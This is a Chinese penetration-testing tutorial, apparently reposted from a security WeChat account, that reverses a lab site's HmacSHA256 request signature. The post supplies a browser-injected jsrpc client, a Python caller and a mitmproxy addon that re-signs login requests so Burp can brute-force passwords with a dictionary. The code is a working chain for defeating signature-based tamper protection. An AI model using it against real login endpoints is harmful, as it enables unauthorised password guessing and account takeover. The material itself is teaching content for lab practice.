【js逆向】明文加签自动加解密

admin 2026-08-28 04:58:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文演示了JS逆向中明文加签的自动加解密技术,通过分析靶场签名算法,使用HmacSHA256对拼接字符串加密,并利用jsrpc在浏览器注入环境注册函数,最后通过Python脚本和mitmproxy实现自动化调用。核心在于理解签名生成逻辑并借助工具实现自动化。 综合评分: 88 文章分类: 渗透测试,WEB安全,安全工具,实战经验


【js逆向】 明文加签自动加解密

原创

暗月大徒弟 暗月大徒弟

moonsec

2026年8月26日 09:00 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

访问靶场   选择明文加签

查看网络连接

signature 是验签 字符串 用于防篡改

分析 signature 的加密过程

dataToSign 是账号、密码、随机值、当前时间 拼接   接着通过 HmacSHA256进行编码

const dataToSign = username + password + nonce + timestamp;
const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)

转换转为hex

重新封包

timestamp password可以变  其他不变 最后通过 CryptoJS.HmacSHA256(dataToSign, secretKey)生成签名即可。

使用jsrpc 在浏览器控制台上 黏贴JsEnv_Dev.js代码

var rpc_client_id, HlClient = function (wsURL) {
    this.wsURL = wsURL;
    this.handlers = {
        _execjs: function (resolve, param) {
            try {
                var fn = new Function('return (async () => { return (' + param + ') })()');
                var result = fn();
                if (result && typeof result.then === 'function') {
                    result.then(function(res) {
                        resolve(res !== undefined ? res : "执行成功(无返回值)");
                    }).catch(function(err) {
                        resolve("执行错误: " + (err.message || err));
                    });
                } else {
                    resolve(result !== undefined ? result : "执行成功(无返回值)");
                }
            } catch (err) {
                resolve("语法错误: " + (err.message || err));
            }
        }
    };
    this.socket = undefined;
    if (!wsURL) {
        throw new Error('wsURL can not be empty!!')
    }
    this.connect()
}
HlClient.prototype.connect = function () {
    if (this.wsURL.indexOf("clientId=") === -1 && rpc_client_id) {
        this.wsURL += "&clientId=" + rpc_client_id
    }
    console.log('begin of connect to wsURL: ' + this.wsURL);
    var _this = this;
    try {
        this.socket = new WebSocket(this.wsURL);
        this.socket.onmessage = function (e) {
            _this.handlerRequest(e.data)
        }
    } catch (e) {
        console.log("connection failed,reconnect after 10s");
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.onclose = function () {
        console.log('rpc已关闭');
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.addEventListener('open', (event) => {
        console.log("rpc连接成功");
        this._reportActions();
    });
    this.socket.addEventListener('error', (event) => {
        console.error('rpc连接出错,请检查是否打开服务端:', event.error);
    })
};
HlClient.prototype.send = function (msg) {
    this.socket.send(msg)
}
HlClient.prototype.regAction = function (func_name, func) {
    if (typeof func_name !== 'string') {
        throw new Error("an func_name must be string");
    }
    if (typeof func !== 'function') {
        throw new Error("must be function");
    }
    console.log("register func_name: " + func_name);
    this.handlers[func_name] = func;
    this._reportActions();
    return true
}
HlClient.prototype._reportActions = function () {
    var actions = Object.keys(this.handlers);
    if (this.socket && this.socket.readyState === WebSocket.OPEN) {
        this.send(JSON.stringify({
            "action": "_registerActions",
            "message_id": "",
            "response_data": JSON.stringify(actions)
        }));
    }
}
HlClient.prototype.handlerRequest = function (requestJson) {
    var _this = this;
    try {
        var result = JSON.parse(requestJson)
    } catch (error) {
        console.log("请求信息解析错误", requestJson);
        return
    }
    if (result["registerId"]) {
        rpc_client_id = result['registerId']
        return
    }
    if (!result['action'] || !result["message_id"]) {
        console.warn('没有方法或者消息id,不处理');
        return
    }
    var action = result["action"], message_id = result["message_id"]
    var theHandler = this.handlers[action];
    if (!theHandler) {
        this.sendResult(action, message_id, 'action没找到');
        return
    }
    try {
        if (!result["param"]) {
            const async_result = theHandler(function (response) {
                _this.sendResult(action, message_id, response);
            })
            if (async_result && typeof async_result.then === "function") {
                async_result.catch(e => {
                    _this.sendResult(action, message_id, "" + e);
                });
            }
            return
        }
        var param = result["param"]
        try {
            param = JSON.parse(param)
        } catch (e) {
        }
        theHandler(function (response) {
            _this.sendResult(action, message_id, response);
        }, param)
    } catch (e) {
        console.log("error: " + e);
        _this.sendResult(action, message_id, "" + e);
    }
}
HlClient.prototype.sendResult = function (action, message_id, e) {
    if (typeof e === 'object' && e !== null) {
        try {
            e = JSON.stringify(e)
        } catch (v) {
            console.log(v)
        }
    }
    this.send(JSON.stringify({"action": action, "message_id": message_id, "response_data": e}));
}

打开终端

注入环境

var demo = new HlClient("ws://127.0.0.1:12080/ws?group=zzz");

注册函数

demo.regAction("sgin", function (resolve,param) {
    const username = 'admin'
    const password = param

    const nonce = 'zqqz5xi8zfi'
    const timestamp  = Math.floor(Date.now() / 1000);

    const secretKey = "be56e057f20f883e";

    const dataToSign = username + password + nonce + timestamp;
    const signature = CryptoJS.HmacSHA256(dataToSign, secretKey)
        .toString(CryptoJS.enc.Hex);

        resolve({
        signature: signature,
        timestamp: timestamp
    });
})

成功注册函数

编写python脚本进行调用

import requests,json
def sgin(password):
    url = "http://127.0.0.1:12080/go"
    params = {
        "group": "zzz",
        "action": "sgin",
        "param": password
    }
    resp = requests.get(url, params=params, timeout=5)
    resp_json = resp.json()
    raw_data = resp_json["data"]
    if isinstance(raw_data, str):
        data = json.loads(raw_data)
    else:
        data = raw_data

    return data["signature"], data["timestamp"]

print(sgin("123456"))

运行正常

编写 mitmproxy利用脚本

import mitmproxy
import requests
import json
from mitmproxy import ctx

def sgin(password):
    url = "http://127.0.0.1:12080/go"
    params = {
        "group": "zzz",
        "action": "sgin",
        "param": password
    }
    resp = requests.get(url, params=params, timeout=5)
    ctx.log.info(f"[sgin] http status:{resp.status_code}, resp text:{resp.text}")
    resp_json = resp.json()
    raw_data = resp_json["data"]
    ctx.log.info(f"[sgin] raw_data类型:{type(raw_data)}, raw_data:{raw_data}")

    if isinstance(raw_data, str):
        data = json.loads(raw_data)
    else:
        data = raw_data

    return data["signature"], data["timestamp"]

class dataencrypt:
    def request(self, flow: mitmproxy.http.HTTPFlow):
        target_path = "/encrypt/signdata.php"
        ctx.log.info(f"[debug] path={flow.request.path}, method={flow.request.method}")
        real_path = flow.request.path.split('?')[0]
        if flow.request.method == "POST" and real_path == target_path:
            ctx.log.info("[debug] 命中目标接口!")
            try:
                ctx.log.info(f"[debug]原始请求text={flow.request.text}")
                ctx.log.info(f"[debug]content-type={flow.request.headers.get('Content-Type','')}")

                ct = flow.request.headers.get("Content-Type","")
                if "application/json" not in ct:
                    ctx.log.error("[error]不是json请求!本脚本只处理json")
                    return

                body_dict = json.loads(flow.request.text)
                pwd = body_dict.get("password")
                ctx.log.info(f"[debug]取出password={pwd}")

                new_sig, new_ts = sgin(pwd)
                ctx.log.info(f"[debug]拿到 new_sig={new_sig}, new_ts={new_ts}")

                body_dict["timestamp"] = new_ts
                body_dict["signature"] = new_sig
                ctx.log.info(f"[debug]修改后的dict={body_dict}")

                flow.request.text = json.dumps(body_dict)
                ctx.log.info(f"[debug]最终发包body={flow.request.text}")

            except Exception as e:
                import traceback
                err_msg = traceback.format_exc()
                ctx.log.error(f"[exception]异常:\n{err_msg}")

addons = [dataencrypt()]

执行命令

mitmproxy -p 9090 -s mitmproxy_sgin.py

在burpsuite上设置上游代理

执行成功

提交到攻击器 设置字典进行测试

需要本文相关工具

关注公众号回复【20260826】


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:moonsec 暗月大徒弟 暗月大徒弟《【js逆向】 明文加签自动加解密》

评论:0   参与:  0